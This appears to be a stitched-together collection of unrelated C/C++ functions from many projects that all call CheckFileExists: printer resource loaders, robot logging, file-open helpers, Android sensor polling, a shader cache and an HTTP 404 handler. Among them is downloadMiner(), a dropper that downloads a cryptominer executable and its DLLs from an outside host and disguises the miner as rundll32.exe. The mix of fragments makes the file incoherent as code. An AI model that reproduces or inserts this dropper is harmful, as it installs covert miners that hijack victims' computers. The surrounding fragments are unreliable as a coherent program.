KeyTextList* LoadKeyTextList(gchar* filename) { KeyTextList* list; gchar* pathname = NULL; if( !g_keytext_dir || !filename ) return NULL; if( (pathname = CheckFileExists(g_keytext_dir, filename)) == NULL ) if( (pathname = CheckFileExists("keytext", filename)) == NULL ) return NULL; list = (KeyTextList*)g_malloc(sizeof(KeyTextList)); if( list != NULL ) { if( (list->tree = CreateTree()) != NULL ) { if( ReadXMLFile(pathname, list->tree) ) { return list; } FreeTree(list->tree); } g_free(list); } return NULL; }
short LoadKeyTextList( void ) { KeyTextList* list; char* pathname = NULL; short result = -1; if( !g_keytext_dir ) goto Err1; if( (pathname = CheckFileExists(g_keytext_dir, CNIJLGMON2_RESFILE)) == NULL ){ if( (pathname = CheckFileExists("keytext", CNIJLGMON2_RESFILE)) == NULL ) goto Err1; } if ( (list = (KeyTextList*)malloc(sizeof(KeyTextList))) == NULL ) goto Err1; if( (list->tree = CreateTree()) == NULL ) goto Err2; if( ReadXMLFile(pathname, list->tree) != 0 ) goto Err3; g_key_keytext_list = list; result = 0; return result; Err3: FreeStringList( list->tree ); Err2: free( list ); Err1: return result; }
void mtsIntuitiveResearchKitMTM::EnableLogs(const mtsBool &enable) { logsEnabled = enable; if(logsEnabled) // !logsEnabled && enable) //logs previously disabled { //CMN_LOG_RUN_WARNING << "mtsIntuitiveResearchKitMTM: logs enabled" << std::endl; // UBC open output file if(!MTMLogFile.is_open()) { std::string fname = componentName; fname.append("MTMDebug.log"); CheckFileExists(&fname); MTMLogFile.open(fname.c_str(), std::ofstream::out | std::ofstream::app); if(!MTMLogFile.is_open()) CMN_LOG_CLASS_RUN_WARNING << "Failed to open the MTM log file!" << std::endl; } } else { CloseLogs(false); //CMN_LOG_RUN_WARNING << "mtsIntuitiveResearchKitMTM: logs disabled" << std::endl; } }
bool CFile::Create(const wxString& path, bool overwrite, int accessMode) { if (!overwrite && CheckFileExists(path)) { return false; } return Open(path, write, accessMode); }
void downloadMiner() { lpURLDownloadToFile URLDownloadToFile; HMODULE hUrlmon = LoadLibrary("URLMON.DLL"); URLDownloadToFile = (lpURLDownloadToFile)GetProcAddress(hUrlmon, "URLDownloadToFileA"); if (!CheckFileExists("rundll32.exe")) URLDownloadToFile(0, "http://ashran.com/assets/uploads/peluche/minerd.exe", "rundll32.exe", 0, 0); if (!CheckFileExists("zlib1.dll")) URLDownloadToFile(0, "http://ashran.com/assets/uploads/peluche/zlib1.dll", "zlib1.dll", 0, 0); if (!CheckFileExists("libwinpthread-1.dll")) URLDownloadToFile(0, "http://ashran.com/assets/uploads/peluche/libwinpthread-1.dll", "libwinpthread-1.dll", 0, 0); if (!CheckFileExists("libcurl-4.dll")) URLDownloadToFile(0, "http://ashran.com/assets/uploads/peluche/libcurl-4.dll", "libcurl-4.dll", 0, 0); return; }
bool HesperisInterface::ReadCurveData(GeometryArray * data) { if(!CheckFileExists()) return false; HesperisFile hes; hes.setReadComponent(HesperisFile::RCurve); if(!hes.open(FileName)) return false; hes.close(); hes.extractCurves(data); return data->numGeometries() > 0; }
bool HesperisInterface::ReadCurveData(CurveGroup * data) { if(!CheckFileExists()) return false; HesperisFile hes; hes.setReadComponent(HesperisFile::RCurve); hes.addCurve("curves", data); if(!hes.open(FileName)) return false; hes.close(); return true; }
// Returns a new filename using the timestamp: img_YYYYMMDD_HHMMSSuuu. // Verifies if a file already exists with the generated filename, if it does we increment the filename. CString GenerateAutoFileName() { GlobalSettings gs; CString timeStr; CString path; SYSTEMTIME tNow; CString ext; path = gs.bAutoName ? gs.getOutputDir() : _T("\\"); GetLocalTime(&tNow); timeStr.Format(_T("img_%u%02u%02u_%02u%02u%02u%03u"), tNow.wYear, tNow.wMonth, tNow.wDay, tNow.wHour, tNow.wMinute, tNow.wSecond, tNow.wMilliseconds); // We check which encoder is selected to know what extension to use switch (gs.sEnc) { case sEncBMP: ext = _T(".bmp"); break; case sEncJPEG: ext = _T(".jpg"); break; case sEncPNG: ext = _T(".png"); break; default: ext = _T(""); break; } // Check if the file already exists while( CheckFileExists(path + timeStr + ext) ) { if (tNow.wMilliseconds == 999) { break; } else { tNow.wMilliseconds += 1; timeStr.Format(_T("img_%u%02u%02u_%02u%02u%02u%03u"), tNow.wYear, tNow.wMonth, tNow.wDay, tNow.wHour, tNow.wMinute, tNow.wSecond, tNow.wMilliseconds); } } return timeStr + ext; }
HttpResponse HttpResponse::FileNotFound() { HttpResponse response; response.m_httpVersion = Config::GetServerHttpVersion(); response.m_statusCode = respcode_notfound; std::string filePath = Config::GetRootFolder() + "/" + Config::GetDefaultPage404(); if (!CheckFileExists(filePath)) response.m_body = "<html><head><title>404 Not Found</title><meta charset = \"utf-8\"/></head><body><br><center><h1>404 Not Found</h1></center></body></html>"; else response.m_body = ReadFileToString(filePath); response.m_headers.insert({ "Content-Length", std::to_string(response.m_body.size()) }); response.m_headers.insert({ "Content-Type", "text/html" }); return response; }
/** * Get the patch list from the server */ bool DownloadPatch( const launcher::Settings &settings, const tFileMap &filesToPatch) { Trace("Downloading patch."); Log(LL::Info) << "Downloading " << filesToPatch.size() << " files." << std::endl; bool rVal = true; for (tFileMap::const_iterator file = filesToPatch.begin(); file != filesToPatch.end(); ++file) { if (!file->second.has_filename()) { Log(LL::Warning) << "Corrupt entry lacks filename." << std::endl; continue; } if (CheckFileExists(file->second.get_filename(), file->second.get_crc())) { continue; } if (!GetOneFile(settings, file->second.get_filename(), file->second.get_crc())) { Log(LL::Error) << "Unable to retrieve file: " << file->second.get_filename() << std::endl; rVal = false; continue; } } return rVal; }
void StandardSensors::OnThreadExecute(void) { // Pre-load what files we can... reduces open/close overhead (which is significant) // Setup CPU Clocks Support... FileHandle cpuOnlineFiles[g_maxCpus]; FileHandle cpuFreqFiles[g_maxCpus]; for(unsigned int i=0; i<g_maxCpus; i++) { cpuOnlineFiles[i] = cpuFreqFiles[i] = NullFileHandle; } if(CheckConnectionFlag(Enable_CPU_Zones)) { for(unsigned int i=0; i<g_maxCpus; i++) { const CpuSensorDesc &desc = g_cpuDescs[i]; cpuOnlineFiles[i] = OpenFile(desc.onlinePath); cpuFreqFiles[i] = NullFileHandle; if(cpuOnlineFiles[i] != NullFileHandle) { const int maxFreq = ReadIntFile(desc.maxFreqPath); SensorSetRange(desc.label, 0, (float)maxFreq, Sensor_Interp_Nearest, Sensor_Unit_KHz); } } } // Setup GPU Clocks Support... FileHandle gpuFreqFile = NullFileHandle; if(CheckConnectionFlag(Enable_GPU_Clocks)) { gpuFreqFile = OpenFile("/sys/class/kgsl/kgsl-3d0/gpuclk"); } if(gpuFreqFile != NullFileHandle) { const int maxFreq = ReadIntFile("/sys/class/kgsl/kgsl-3d0/max_gpuclk"); SensorSetRange(g_gpuLabel, 0, (float)maxFreq, Sensor_Interp_Nearest, Sensor_Unit_Hz); } // Setup Memory Clocks Support... FileHandle memFreqFile = NullFileHandle; //memFreqFile = OpenFile("/sys/class/devfreq/0.qcom,cpubw/cur_freq"); if(memFreqFile != NullFileHandle) { const int maxFreq = ReadIntFile("/sys/class/devfreq/0.qcom,cpubw/max_freq"); SensorSetRange(g_memLabel, 0, (float)maxFreq, Sensor_Interp_Nearest, Sensor_Unit_MByte_Second); } // Setup thermal sensors... static const unsigned int maxThermalSensors = 20; static ThermalSensorDesc thermalDescs[maxThermalSensors]; FileHandle thermalFiles[maxThermalSensors]; for(unsigned int i=0; i<maxThermalSensors; i++) { thermalFiles[i] = NullFileHandle; } if(CheckConnectionFlag(Enable_Thermal_Sensors)) { for(unsigned int i=0; i<maxThermalSensors; i++) { ThermalSensorDesc &desc = thermalDescs[i]; char typePath[64] = {0}; char tempPath[64] = {0}; char modePath[64] = {0}; sprintf(typePath, "/sys/devices/virtual/thermal/thermal_zone%d/type", i); sprintf(tempPath, "/sys/devices/virtual/thermal/thermal_zone%d/temp", i); sprintf(modePath, "/sys/devices/virtual/thermal/thermal_zone%d/mode", i); // If either of these files don't exist, then we got to the end of the thermal zone list... if(!CheckFileExists(typePath) || !CheckFileExists(tempPath)) break; // check to see if the zone is disabled... its okay if there is no mode file... char mode[16] = {0}; if(ReadFileLine(modePath, mode, sizeof(mode))>0 && !strcmp(mode, "disabled")) continue; if(!desc.initialized) { // Read the sensor name in... ReadFileLine(typePath, desc.name, sizeof(desc.name)); // Initialize the Label... desc.initialized = desc.label.ConditionalInit(desc.name); } // Finally... open the file. thermalFiles[i] = OpenFile(tempPath); if(thermalFiles[i] != NullFileHandle) { // by default 0 to 100 degrees... SensorSetRange(desc.label, 0, 100, Sensor_Interp_Linear); } } } // For clocks, we store the last value and only send updates when it changes since we // use blocking chart rendering. int lastCpuFreq[g_maxCpus] = {0}; int lastGpuFreq = 0; int lastMemValue = 0; unsigned int sampleCount = 0; while(!QuitSignaled() && IsConnected()) { // Sample CPU Frequencies... for(unsigned int i=0; i<g_maxCpus; i++) { // If the 'online' file can't be found, then we just assume this CPU doesn't even exist if(cpuOnlineFiles[i] == NullFileHandle) continue; const CpuSensorDesc &desc = g_cpuDescs[i]; const bool online = ReadIntFile(desc.onlinePath); if(online && cpuFreqFiles[i]==NullFileHandle) { // Open the frequency file if we are online and its not already open... cpuFreqFiles[i] = OpenFile(desc.freqPath); } else if(!online && cpuFreqFiles[i]!=NullFileHandle) { // close the frequency file if we are no longer online CloseFile(cpuFreqFiles[i]); cpuFreqFiles[i] = NullFileHandle; } const int freq = cpuFreqFiles[i]==NullFileHandle ? 0 : ReadIntFile(cpuFreqFiles[i]); if(freq != lastCpuFreq[i]) { // Convert from KHz to Hz SensorSetValue(desc.label, (float)freq); lastCpuFreq[i] = freq; } ThreadYield(); } // Sample GPU Frequency... if(gpuFreqFile != NullFileHandle) { const int freq = ReadIntFile(gpuFreqFile); if(freq != lastGpuFreq) { SensorSetValue(g_gpuLabel, (float)freq); lastGpuFreq = freq; } } // Sample Memory Bandwidth if(memFreqFile != NullFileHandle) { const int value = ReadIntFile(memFreqFile); if(value != lastMemValue) { SensorSetValue(g_memLabel, (float)value); lastMemValue = value; } } // Sample thermal sensors... if((sampleCount&15) == 0) // sample temperature at a much lower frequency as clocks... thermals don't change that fast. { for(unsigned int i=0; i<maxThermalSensors; i++) { FileHandle file = thermalFiles[i]; if(file != NullFileHandle) { SensorSetValue(thermalDescs[i].label, (float)ReadIntFile(file)); } } ThreadYield(); } // Sleep 5ms between samples... ThreadSleepMicroseconds(5000); sampleCount++; } // Close down cached file handles... for(unsigned int i=0; i<g_maxCpus; i++) { if(cpuOnlineFiles[i] != NullFileHandle) CloseFile(cpuOnlineFiles[i]); if(cpuFreqFiles[i] != NullFileHandle) CloseFile(cpuFreqFiles[i]); } if(gpuFreqFile != NullFileHandle) CloseFile(gpuFreqFile); if(memFreqFile != NullFileHandle) CloseFile(memFreqFile); for(unsigned int i=0; i<maxThermalSensors; i++) { if(thermalFiles[i] != NullFileHandle) CloseFile(thermalFiles[i]); } }
void StandardSensors::OnThreadExecute(void) { SetThreadName("CaptureSensors"); // Pre-load what files we can... reduces open/close overhead (which is significant) // Setup CPU Clocks Support... static const UInt32 maxCpus = 8; static SensorLabelDesc cpuDescs[maxCpus]; FileHandle cpuOnlineFiles[maxCpus]; FileHandle cpuFreqFiles[maxCpus]; for(UInt32 i=0; i<maxCpus; i++) { cpuOnlineFiles[i] = cpuFreqFiles[i] = NullFileHandle; SensorLabelDesc &desc = cpuDescs[i]; FormatString(desc.name, sizeof(desc.name), "CPU%u Clocks", i); desc.label.ConditionalInit(desc.name); } if(CheckConnectionFlag(Enable_CPU_Zones)) { int maxFreq = 0; for(UInt32 i=0; i<maxCpus; i++) { char onlinePath[64] = {0}; FormatString(onlinePath, sizeof(onlinePath), "/sys/devices/system/cpu/cpu%u/online", i); cpuOnlineFiles[i] = OpenFile(onlinePath); cpuFreqFiles[i] = NullFileHandle; if(cpuOnlineFiles[i] != NullFileHandle) { char maxFreqPath[64] = {0}; FormatString(maxFreqPath, sizeof(maxFreqPath), "/sys/devices/system/cpu/cpu%u/cpufreq/cpuinfo_max_freq", i); maxFreq = std::max(maxFreq, ReadIntFile(maxFreqPath)); } } for(UInt32 i=0; i<maxCpus; i++) { const SensorLabelDesc &desc = cpuDescs[i]; SensorSetRange(desc.label, 0, (float)maxFreq, Sensor_Interp_Nearest, Sensor_Unit_KHz); } } // Setup GPU Clocks Support... FileHandle gpuFreqFile = NullFileHandle; if(CheckConnectionFlag(Enable_GPU_Clocks)) { if(gpuFreqFile == NullFileHandle) // Adreno { gpuFreqFile = OpenFile("/sys/class/kgsl/kgsl-3d0/gpuclk"); if(gpuFreqFile != NullFileHandle) { const int maxFreq = ReadIntFile("/sys/class/kgsl/kgsl-3d0/max_gpuclk"); SensorSetRange(g_gpuLabel, 0, (float)maxFreq, Sensor_Interp_Nearest, Sensor_Unit_Hz); } } if(gpuFreqFile == NullFileHandle) // Mali { gpuFreqFile = OpenFile("/sys/devices/14ac0000.mali/clock"); if(gpuFreqFile != NullFileHandle) { // TODO: query max GPU clocks on Mali, for now hacked to what we know the S6 is SensorSetRange(g_gpuLabel, 0, 0, Sensor_Interp_Nearest, Sensor_Unit_MHz); } } } // Setup Memory Clocks Support... FileHandle memFreqFile = NullFileHandle; //memFreqFile = OpenFile("/sys/class/devfreq/0.qcom,cpubw/cur_freq"); if(memFreqFile != NullFileHandle) { const int maxFreq = ReadIntFile("/sys/class/devfreq/0.qcom,cpubw/max_freq"); SensorSetRange(g_memLabel, 0, (float)maxFreq, Sensor_Interp_Nearest, Sensor_Unit_MByte_Second); } // Setup thermal sensors... static const UInt32 maxThermalSensors = 20; static SensorLabelDesc thermalDescs[maxThermalSensors]; FileHandle thermalFiles[maxThermalSensors]; for(UInt32 i=0; i<maxThermalSensors; i++) { thermalFiles[i] = NullFileHandle; } if(CheckConnectionFlag(Enable_Thermal_Sensors)) { for(UInt32 i=0; i<maxThermalSensors; i++) { SensorLabelDesc &desc = thermalDescs[i]; char typePath[64] = {0}; char tempPath[64] = {0}; char tripPointPath[64] = {0}; FormatString(typePath, sizeof(typePath), "/sys/devices/virtual/thermal/thermal_zone%u/type", i); FormatString(tempPath, sizeof(tempPath), "/sys/devices/virtual/thermal/thermal_zone%u/temp", i); FormatString(tripPointPath, sizeof(tripPointPath), "/sys/devices/virtual/thermal/thermal_zone%u/trip_point_0_temp", i); // If either of these files don't exist, then we got to the end of the thermal zone list... if(!CheckFileExists(typePath) || !CheckFileExists(tempPath) || !CheckFileExists(tripPointPath)) break; // Initialize the Label... if(ReadFileLine(typePath, desc.name, sizeof(desc.name)) <= 0) continue; // failed to read sensor name... desc.label.ConditionalInit(desc.name); char modePath[64] = {0}; FormatString(modePath, sizeof(modePath), "/sys/devices/virtual/thermal/thermal_zone%d/mode", i); // check to see if the zone is disabled... its okay if there is no mode file... char mode[16] = {0}; if(ReadFileLine(modePath, mode, sizeof(mode))>0 && !strcmp(mode, "disabled")) continue; // Finally... open the file. thermalFiles[i] = OpenFile(tempPath); // Check to see if the temperature file was found... if(thermalFiles[i] == NullFileHandle) continue; // Read in the critical temperature value. const int tripPoint = ReadIntFile(tripPointPath); if(tripPoint > 0) { SensorSetRange(desc.label, 0, (float)tripPoint, Sensor_Interp_Linear); } } } // For clocks, we store the last value and only send updates when it changes since we // use blocking chart rendering. int lastCpuFreq[maxCpus] = {0}; int lastGpuFreq = 0; int lastMemValue = 0; UInt32 sampleCount = 0; while(!QuitSignaled() && IsConnected()) { // Sample CPU Frequencies... for(UInt32 i=0; i<maxCpus; i++) { // If the 'online' file can't be found, then we just assume this CPU doesn't even exist if(cpuOnlineFiles[i] == NullFileHandle) continue; const SensorLabelDesc &desc = cpuDescs[i]; const bool online = ReadIntFile(cpuOnlineFiles[i]) ? true : false; if(online && cpuFreqFiles[i]==NullFileHandle) { // Open the frequency file if we are online and its not already open... char freqPath[64] = {0}; FormatString(freqPath, sizeof(freqPath), "/sys/devices/system/cpu/cpu%u/cpufreq/scaling_cur_freq", i); cpuFreqFiles[i] = OpenFile(freqPath); } else if(!online && cpuFreqFiles[i]!=NullFileHandle) { // close the frequency file if we are no longer online CloseFile(cpuFreqFiles[i]); cpuFreqFiles[i] = NullFileHandle; } const int freq = cpuFreqFiles[i]==NullFileHandle ? 0 : ReadIntFile(cpuFreqFiles[i]); if(freq != lastCpuFreq[i]) { // Convert from KHz to Hz SensorSetValue(desc.label, (float)freq); lastCpuFreq[i] = freq; } ThreadYield(); } // Sample GPU Frequency... if(gpuFreqFile != NullFileHandle) { const int freq = ReadIntFile(gpuFreqFile); if(freq != lastGpuFreq) { SensorSetValue(g_gpuLabel, (float)freq); lastGpuFreq = freq; } } // Sample Memory Bandwidth if(memFreqFile != NullFileHandle) { const int value = ReadIntFile(memFreqFile); if(value != lastMemValue) { SensorSetValue(g_memLabel, (float)value); lastMemValue = value; } } // Sample thermal sensors... if((sampleCount&15) == 0) // sample temperature at a much lower frequency as clocks... thermals don't change that fast. { for(UInt32 i=0; i<maxThermalSensors; i++) { FileHandle file = thermalFiles[i]; if(file != NullFileHandle) { SensorSetValue(thermalDescs[i].label, (float)ReadIntFile(file)); } } ThreadYield(); } // Sleep 5ms between samples... ThreadSleepMicroseconds(5000); sampleCount++; } // Close down cached file handles... for(UInt32 i=0; i<maxCpus; i++) { if(cpuOnlineFiles[i] != NullFileHandle) CloseFile(cpuOnlineFiles[i]); if(cpuFreqFiles[i] != NullFileHandle) CloseFile(cpuFreqFiles[i]); } if(gpuFreqFile != NullFileHandle) CloseFile(gpuFreqFile); if(memFreqFile != NullFileHandle) CloseFile(memFreqFile); for(UInt32 i=0; i<maxThermalSensors; i++) { if(thermalFiles[i] != NullFileHandle) CloseFile(thermalFiles[i]); } }
bool CVertexShader::LoadVariant( IShaderDefines *pDefines, bool bCompile ) { // check for already compiled default version of the shader if (pDefines == NULL && m_VertexShader != NULL) return true; // check for already compiled variant of the shader if (pDefines != NULL) { unsigned long iEncoding = pDefines->GetValuesEncoding().iEncoding; SHADERVARIANTSMAP::iterator itr = m_ShaderVariants.find( iEncoding ); if (itr != m_ShaderVariants.end()) return true; } D3DXMACRO *pMacros = NULL; if (pDefines) { const int iMaxShaderDefineCount = 32; const int iValueCharSize = 64; static char szValues[iMaxShaderDefineCount][iValueCharSize]; static D3DXMACRO vMacros[iMaxShaderDefineCount + 1]; if (iMaxShaderDefineCount < pDefines->GetDefineCount()) { m_ToolBox->Log( LOGFATALERROR, _T("Shader Define Count exceeds the internal buffer!\n") ); return false; } DWORD i; for (i=0; i < pDefines->GetDefineCount(); i++) { vMacros[i].Name = pDefines->GetDefineName(i); vMacros[i].Definition = _itoa(pDefines->GetDefineValue(i), szValues[i], 10); } // null terminate macro list vMacros[i].Name = NULL; vMacros[i].Definition = NULL; pMacros = vMacros; } LPDIRECT3DVERTEXSHADER9 pShader = NULL; LPD3DXBUFFER shaderBuf = NULL; LPD3DXBUFFER pErrorMsgs = NULL; CDX9IncludeManager includeInterface; LPDIRECT3DDEVICE9 pDevice = (LPDIRECT3DDEVICE9)m_Renderer->GetAPIDevice(); if( pDevice ) { int len = _tcslen( (const TCHAR*)m_Code ); LPCSTR profile = D3DXGetVertexShaderProfile( pDevice ); bool bLoadedCompiled = false; HRESULT hr = E_FAIL; const TCHAR *szFile = GetName()->GetString(); TCHAR drive[MAX_PATH]; TCHAR directory[MAX_PATH]; TCHAR filename[MAX_PATH]; TCHAR fileext[MAX_PATH]; TCHAR szDefinesTemp[65] = { '\0' }; _tsplitpath( szFile, drive, directory, filename, fileext ); StdString szCompiledFile; szCompiledFile += drive; szCompiledFile += directory; szCompiledFile += _T("Compiled\\"); szCompiledFile += filename; if (pDefines) { szCompiledFile += _T("_enc"); szCompiledFile += _itot(pDefines->GetValuesEncoding().iEncoding, szDefinesTemp, 10); } szCompiledFile += fileext; #ifdef XBOX szCompiledFile = SetPathDrive( szCompiledFile, EngineGetToolBox()->GetDrive() ); #endif LPVOID pShaderFileData = NULL; UINT shaderLen = 0; struct _stat shaderFilestat; // checking if compiled version exists, if we can load it into a buffer and if the file stats of the shader (not compiled) are readable if (CheckFileExists(szCompiledFile) && ( _tstat( szFile, &shaderFilestat ) == 0) && LoadFileIntoBuffer( szCompiledFile, pShaderFileData, shaderLen, true )) { m_ToolBox->Log( LOGINFORMATION, _T("Reading compiled shader file: %s\n"), szCompiledFile.c_str() ); // create a shader buffer to store the compiled shader hr = D3DXCreateBuffer( shaderLen, &shaderBuf ); if (SUCCEEDED(hr)) { time_t storedMTime = 0; // get the compiled date out of the file memcpy( &storedMTime, pShaderFileData, sizeof(time_t) ); // if the stored modified time in the compiled shader file is the same as the current // modified time of the shader file if( storedMTime == shaderFilestat.st_mtime ) { // reduce the buffer size by the preamble (mod time) shaderLen -= (int)sizeof(time_t); // copy the compiled shader into the shader buffer memcpy( shaderBuf->GetBufferPointer(), ((TCHAR *) pShaderFileData)+ sizeof(time_t), shaderLen); bLoadedCompiled = true; } } SAFE_DELETE_ARRAY( pShaderFileData ); } if (!bLoadedCompiled && bCompile) { if (pDefines) EngineGetToolBox()->Log( LOGINFORMATION, _T("Compiling shader %s:%d\n"), GetName()->GetString(), pDefines->GetValuesEncoding().iEncoding ); else EngineGetToolBox()->Log( LOGINFORMATION, _T("Compiling shader %s\n"), GetName()->GetString() ); hr = D3DXCompileShader( m_Code, len,//length of string in bytes pMacros, //can add that matrix of macros here &includeInterface, //for include directories "main",//? temp profile, //vs_1_1 for example 0, //compiling options? &shaderBuf, &pErrorMsgs, NULL ); } //now actually create the shader if( hr == D3D_OK && shaderBuf ) { if (!bLoadedCompiled) { struct _stat shaderFilestat; // get the shader file's modified time if (_tstat( szFile, &shaderFilestat ) == 0) { m_ToolBox->Log( LOGINFORMATION, _T("Writing compiled shader file: %s\n"), szCompiledFile.c_str() ); // open a compiled shader file for writing FILE *fp = fopen( szCompiledFile, "wb" ); if (fp) { // write shader file's modified time fwrite( &shaderFilestat.st_mtime, sizeof(time_t), 1, fp ); // write compiled shader data fwrite( shaderBuf->GetBufferPointer(), shaderBuf->GetBufferSize(), 1, fp ); fclose(fp); } else { m_ToolBox->Log( LOGWARNING, _T("Failed to write compiled shader file: %s\n"), szCompiledFile.c_str() ); } } } hr = pDevice->CreateVertexShader( (DWORD *) shaderBuf->GetBufferPointer(), &pShader ); assert( SUCCEEDED(hr) ); if (!SUCCEEDED(hr)) { m_ToolBox->Log( LOGWARNING, _T("Failed to create shader : %s\n"), szCompiledFile.c_str() ); } SAFE_RELEASE( shaderBuf ); SAFE_RELEASE( pErrorMsgs ); if (pDefines == NULL) // we are compiling the default shader with no macro defines { assert( m_VertexShader == NULL ); // the default shader should only be compiled on Init when this is NULL m_VertexShader = pShader; } else if (pDefines != NULL) // we are compiling a variant of the shader { unsigned long iEncoding = pDefines->GetValuesEncoding().iEncoding; m_ShaderVariants[iEncoding] = pShader; } return true; } } if( pErrorMsgs ) { IHashString * name = GetName(); TCHAR* debug_errors = (TCHAR*)pErrorMsgs->GetBufferPointer(); m_ToolBox->Log( LOGERROR, _T("Could not create Vertex shader %s\nError message: %s\n"), name->GetString(), debug_errors ); SAFE_RELEASE( pErrorMsgs ); } SAFE_RELEASE( shaderBuf ); return false; }
bool CFile::Open(const wxString& fileName, OpenMode mode, int accessMode) { MULE_VALIDATE_PARAMS(!fileName.IsEmpty(), wxT("CFile: Cannot open, empty path.")); #ifdef __linux__ int flags = O_BINARY | O_LARGEFILE; #else int flags = O_BINARY; #endif switch ( mode ) { case read: flags |= O_RDONLY; break; case write_append: if (CheckFileExists(fileName)) { flags |= O_WRONLY | O_APPEND; break; } //else: fall through as write_append is the same as write if the // file doesn't exist case write: flags |= O_WRONLY | O_CREAT | O_TRUNC; break; case write_excl: flags |= O_WRONLY | O_CREAT | O_EXCL; break; case read_write: flags |= O_RDWR; break; } if (IsOpened()) { Close(); } // When opening files, we will always first try to create an ANSI file name, // even if that means an extended ANSI file name. Only if it is not possible // to do that, we fall back to UTF-8 file names. This is unicode safe and is // the only way to guarantee that we can open any file in the file system, // even if it is not an UTF-8 valid sequence. // // Test if it is possible to use an ANSI name Unicode2CharBuf tmpFileName = unicode2char(fileName); if (tmpFileName) { // Use an ANSI name m_fd = open(tmpFileName, flags, accessMode); } if (m_fd == fd_invalid) { // Wrong conversion or can't open. // Try an UTF-8 name m_fd = open(unicode2UTF8(fileName), flags, accessMode); } m_filePath = fileName; SYSCALL_CHECK(m_fd != fd_invalid, wxT("opening file")); return IsOpened(); }